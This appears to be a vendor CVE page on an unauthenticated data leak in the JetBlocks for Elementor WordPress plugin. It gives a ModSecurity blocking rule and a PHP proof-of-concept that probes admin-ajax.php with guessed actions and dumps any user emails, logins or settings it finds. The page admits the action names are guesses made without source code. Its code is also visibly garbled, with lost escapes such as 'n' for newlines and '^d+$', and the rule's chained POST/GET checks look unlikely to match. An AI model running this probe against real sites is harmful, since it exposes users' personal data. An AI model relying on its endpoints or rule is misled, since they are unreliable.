CVE-2026-61976: JetBlocks for Elementor <= 1.5.0 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-61976 (metadata-based)
# The vulnerability is an unauthenticated AJAX endpoint that returns sensitive user or config data.
# This rule blocks requests to admin-ajax.php with any of the likely vulnerable actions.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261976,phase:2,deny,status:403,chain,msg:'CVE-2026-61976 via JetBlocks AJAX information exposure',severity:'CRITICAL',tag:'CVE-2026-61976'"
  SecRule ARGS_POST:action "@pm jet_blocks_get_users jet_blocks_get_user_data jet_blocks_get_settings jet_blocks_get_site_data" "chain"
    SecRule ARGS_GET:user_id "@rx ^d+$" "t:none"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61976 - JetBlocks for Elementor <= 1.5.0 - Unauthenticated Information Exposure

/**
 * This PoC demonstrates how an unauthenticated attacker could exploit
 * the information exposure vulnerability in JetBlocks for Elementor.
 *
 * Because no source code is available, this PoC assumes the most common
 * WordPress vector: an AJAX action that returns sensitive data without
 * proper authorization checks.
 *
 * Usage: php cve-2026-61976-poc.php [target_url]
 */

// Set target WordPress site URL (adjust as needed)
$target_url = 'http://example.com';

// If a URL is passed as command line argument, use that
if (isset($argv[1])) {
    $target_url = rtrim($argv[1], '/');
}

// Endpoint for WordPress AJAX handler
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// List of candidate actions that might be vulnerable.
// These are reasonable guesses based on the plugin's slug and typical
// functionality. You may need to adjust based on actual plugin internals.
$candidate_actions = [
    'jet_blocks_get_users',
    'jet_blocks_get_user_data',
    'jet_blocks_get_settings',
    'jet_blocks_get_site_data',
];

// Loop through each candidate action
foreach ($candidate_actions as $action) {
    echo "[*] Trying action: {$action}n";

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['action' => $action]));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "[+] HTTP Status: {$http_code}n";

    // Check if response contains data that resembles user or config information
    if ($http_code === 200) {
        // Look for typical JSON keys indicating sensitive data
        if (preg_match('/"(?:user_email|user_login|wp_user|settings|config)"/i', $response)) {
            echo "[!] Potential data leak detected with action: {$action}n";
            echo "[+] Response:n{$response}n";
            exit;
        } else {
            echo "[-] No sensitive data found in response.n";
        }
    } else {
        echo "[-] Request failed with non-200 response.n";
    }
}

// Also test a potential direct AJAX endpoint with a specific user ID
// The actual parameter may differ, but this covers a common pattern.
$direct_ajax = $ajax_url . '?action=jet_blocks_get_user&user_id=1';
$ch = curl_init($direct_ajax);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[!] Possible data leak via GET request with user_id parameter.n";
    echo "[+] Response:n{$response}n";
}

echo "[+] PoC completed.n";